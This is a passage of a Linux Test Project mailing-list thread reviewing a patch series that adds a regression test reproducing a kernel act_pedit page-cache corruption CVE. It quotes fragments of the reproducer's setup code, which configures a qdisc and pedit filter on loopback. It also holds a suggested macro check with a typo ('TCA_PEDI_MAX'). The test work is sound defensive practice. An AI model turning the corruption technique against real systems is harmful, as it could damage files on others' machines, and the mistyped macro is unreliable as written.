> TCA_PEDIT_KEY_EX the wrong value makes the situation permanent on
> every system.
> 
> The correct approach for enum-valued constants is to use
> AC_CHECK_DECLS in configure.ac, the same way this patch already uses
> AC_CHECK_TYPES for the two enum types:
> 
>   AC_CHECK_DECLS([TCA_PEDIT_PARMS_EX, TCA_PEDIT_KEYS_EX,
>                   TCA_PEDIT_KEY_EX, TCA_PEDIT_KEY_EX_HTYPE,
>                   TCA_PEDIT_KEY_EX_CMD],,,[
>   #include <linux/tc_act/tc_pedit.h>])

Maybe we can use the TCA_PEDIT_MAX:

#if !defined(TCA_PEDI_MAX) || TCA_PEDIT_MAX < 4
# define TCA_PEDIT_PARMS_EX 4
#endif

#if !defined(TCA_PEDI_MAX) || TCA_PEDIT_MAX < 5
# define TCA_PEDIT_KEYS_EX 5
#endif

And we can use the same pattern with the rest of the enums. 

-- 
Cyril Hrubis
chrubis@suse.cz

-- 
Mailing list info: https://lists.linux.it/listinfo/ltp

^ permalink raw reply	[flat|nested] 12+ messages in thread

* Re: [LTP] [PATCH v3 4/4] cve: Add act_pedit page-cache corruption test
  2026-07-07 14:23   ` Cyril Hrubis
@ 2026-07-08 11:41     ` Petr Vorel
  2026-07-13 12:34       ` Andrea Cervesato via ltp
  0 siblings, 1 reply; 12+ messages in thread
From: Petr Vorel @ 2026-07-08 11:41 UTC (permalink / raw)
  To: Cyril Hrubis; +Cc: Linux Test Project

> Hi!
> > +static void run(void)
> > +{
> > +	struct sockaddr_in addr;
> > +	uint8_t readback[DATA_SIZE];
> > +	off_t off = 0;
> > +	int wr_fd;
> > +
> > +	wr_fd = SAFE_OPEN(TESTFILE, O_WRONLY | O_CREAT, 0444);
> > +	SAFE_WRITE(SAFE_WRITE_ALL, wr_fd, original, DATA_SIZE);
> > +	SAFE_CLOSE(wr_fd);
> > +
> > +	file_fd = SAFE_OPEN(TESTFILE, O_RDONLY);
> > +
> > +	/*
> > +	 * Clean-slate clsact qdisc so no filter is active during the
> > +	 * TCP handshake (the IHL-inflating key would corrupt SYN/ACK).
> > +	 */
> > +	tst_netdev_remove_qdisc(__FILE__, __LINE__, 0,
> > +				"lo", AF_UNSPEC, TC_H_CLSACT,
> > +				TC_H_MAKE(TC_H_CLSACT, 0), "clsact");

> This is a bit ugly. I guess that we need to add a variant for the macro
> that would set the strict to 0 into tst_netdevice.h possibly NETDEV_MAY_REMOVE_QDISC().

+1

BTW here I get error on all VMs I tested (wide range of kernel old and new and
different distros):

> 	/* Arm the pedit filter AFTER the handshake completes */
> 	NETDEV_ADD_TRAFFIC_FILTER("lo",
> 				  TC_H_MAKE(TC_H_CLSACT, TC_H_MIN_EGRESS),
> 				  0, ETH_P_ALL, 1, "matchall",
> 				  filter_config);

cve-2026-46331.c:198: TBROK: Failed to modify traffic filter: EINVAL

Leading to modify_address() in lib/tst_netdevice.c

	ret = tst_netlink_send_validate(file, lineno, ctx);
	tst_netlink_destroy_context(file, lineno, ctx);

	if (strict && !ret) {
		tst_brk_(file, lineno, TBROK,
			"Failed to modify %s network address: %s", ifname,
			tst_strerrno(tst_netlink_errno));
	}

Any idea what's wrong?

Kind regards,
Petr

> For the rest (including the preparatory patches):

> Reviewed-by: Cyril Hrubis <chrubis@suse.cz>

-- 
Mailing list info: https://lists.linux.it/listinfo/ltp

^ permalink raw reply	[flat|nested] 12+ messages in thread

* Re: [LTP] [PATCH v3 1/4] lapi: Add pkt_cls.h fallback
  2026-07-07 13:42 ` [LTP] [PATCH v3 1/4] lapi: Add pkt_cls.h fallback Andrea Cervesato
  2026-07-07 14:28   ` [LTP] " linuxtestproject.agent
@ 2026-07-08 11:48   ` Petr Vorel
  1 sibling, 0 replies; 12+ messages in thread
From: Petr Vorel @ 2026-07-08 11:48 UTC (permalink / raw)
  To: Andrea Cervesato; +Cc: Linux Test Project

Hi Andrea,

> +#include <linux/pkt_cls.h>
> +
> +#ifndef TC_ACT_PIPE
> +# define TC_ACT_PIPE	3
> +#endif
> +
> +#ifndef TCA_MATCHALL_ACT
> +# define TCA_MATCHALL_ACT	2
> +#endif

include/uapi/linux/pkt_cls.h defines it as enum:

enum {
	TCA_MATCHALL_UNSPEC,
	TCA_MATCHALL_CLASSID,
	TCA_MATCHALL_ACT,
	TCA_MATCHALL_FLAGS,
	TCA_MATCHALL_PCNT,
	TCA_MATCHALL_PAD,
	__TCA_MATCHALL_MAX,
};

But it should be safe to define it as you did (there is no reason the value
would change because kernel folks add new members at the end).

Reviewed-by: Petr Vorel <pvorel@suse.cz>

Kind regards,
Petr

-- 
Mailing list info: https://lists.linux.it/listinfo/ltp

^ permalink raw reply	[flat|nested] 12+ messages in thread

* Re: [LTP] [PATCH v3 2/4] lapi: Add pkt_sched.h fallback
  2026-07-07 13:42 ` [LTP] [PATCH v3 2/4] lapi: Add pkt_sched.h fallback Andrea Cervesato
@ 2026-07-08 13:31   ` Petr Vorel
  0 siblings, 0 replies; 12+ messages in thread
From: Petr Vorel @ 2026-07-08 13:31 UTC (permalink / raw)
  To: Andrea Cervesato; +Cc: Linux Test Project

Hi Andrea,

> +#include <linux/pkt_sched.h>
> +
> +#ifndef TC_H_CLSACT
> +# define TC_H_CLSACT	TC_H_INGRESS
nit: How about using TC_H_INGRESS directly in the test? It's already defined in the
first patch.

Anyway, obviously correct.
Reviewed-by: Petr Vorel <pvorel@suse.cz>

Kind regards,
Petr

> +#endif
> +
> +#ifndef TC_H_MIN_EGRESS
> +# define TC_H_MIN_EGRESS	0xFFF3U
> +#endif
> +
> +#endif /* LAPI_PKT_SCHED_H__ */

-- 
Mailing list info: https://lists.linux.it/listinfo/ltp

^ permalink raw reply	[flat|nested] 12+ messages in thread

* Re: [LTP] [PATCH v3 4/4] cve: Add act_pedit page-cache corruption test
  2026-07-08 11:41     ` Petr Vorel
@ 2026-07-13 12:34       ` Andrea Cervesato via ltp
  0 siblings, 0 replies; 12+ messages in thread
From: Andrea Cervesato via ltp @ 2026-07-13 12:34 UTC (permalink / raw)
  To: Petr Vorel; +Cc: Linux Test Project

Hi Petr,

> cve-2026-46331.c:198: TBROK: Failed to modify traffic filter: EINVAL

I think it's caused by the wrong enum fallback. I'm going to send a v4.
Let me know if it's fixed then.

--
Andrea Cervesato
SUSE QE Automation Engineer Linux
andrea.cervesato@suse.com

-- 
Mailing list info: https://lists.linux.it/listinfo/ltp

^ permalink raw reply	[flat|nested] 12+ messages in thread

end of thread, other threads:[~2026-07-13 12:34 UTC | newest]

Thread overview: 12+ messages (download: mbox.gz follow: Atom feed
-- links below jump to the message on this page --
2026-07-07 13:42 [LTP] [PATCH v3 0/4] Reproducer for cve-2026-46331 Andrea Cervesato
2026-07-07 13:42 ` [LTP] [PATCH v3 1/4] lapi: Add pkt_cls.h fallback Andrea Cervesato
2026-07-07 14:28   ` [LTP] " linuxtestproject.agent
2026-07-07 14:53     ` Cyril Hrubis
2026-07-08 11:48   ` [LTP] [PATCH v3 1/4] " Petr Vorel
2026-07-07 13:42 ` [LTP] [PATCH v3 2/4] lapi: Add pkt_sched.h fallback Andrea Cervesato
2026-07-08 13:31   ` Petr Vorel
2026-07-07 13:42 ` [LTP] [PATCH v3 3/4] lapi: Add tc_pedit.h fallback Andrea Cervesato
2026-07-07 13:42 ` [LTP] [PATCH v3 4/4] cve: Add act_pedit page-cache corruption test Andrea Cervesato
2026-07-07 14:23   ` Cyril Hrubis
2026-07-08 11:41     ` Petr Vorel
2026-07-13 12:34       ` Andrea Cervesato via ltp

This is a public inbox, see mirroring instructions
for how to clone and mirror all data and code used for this inbox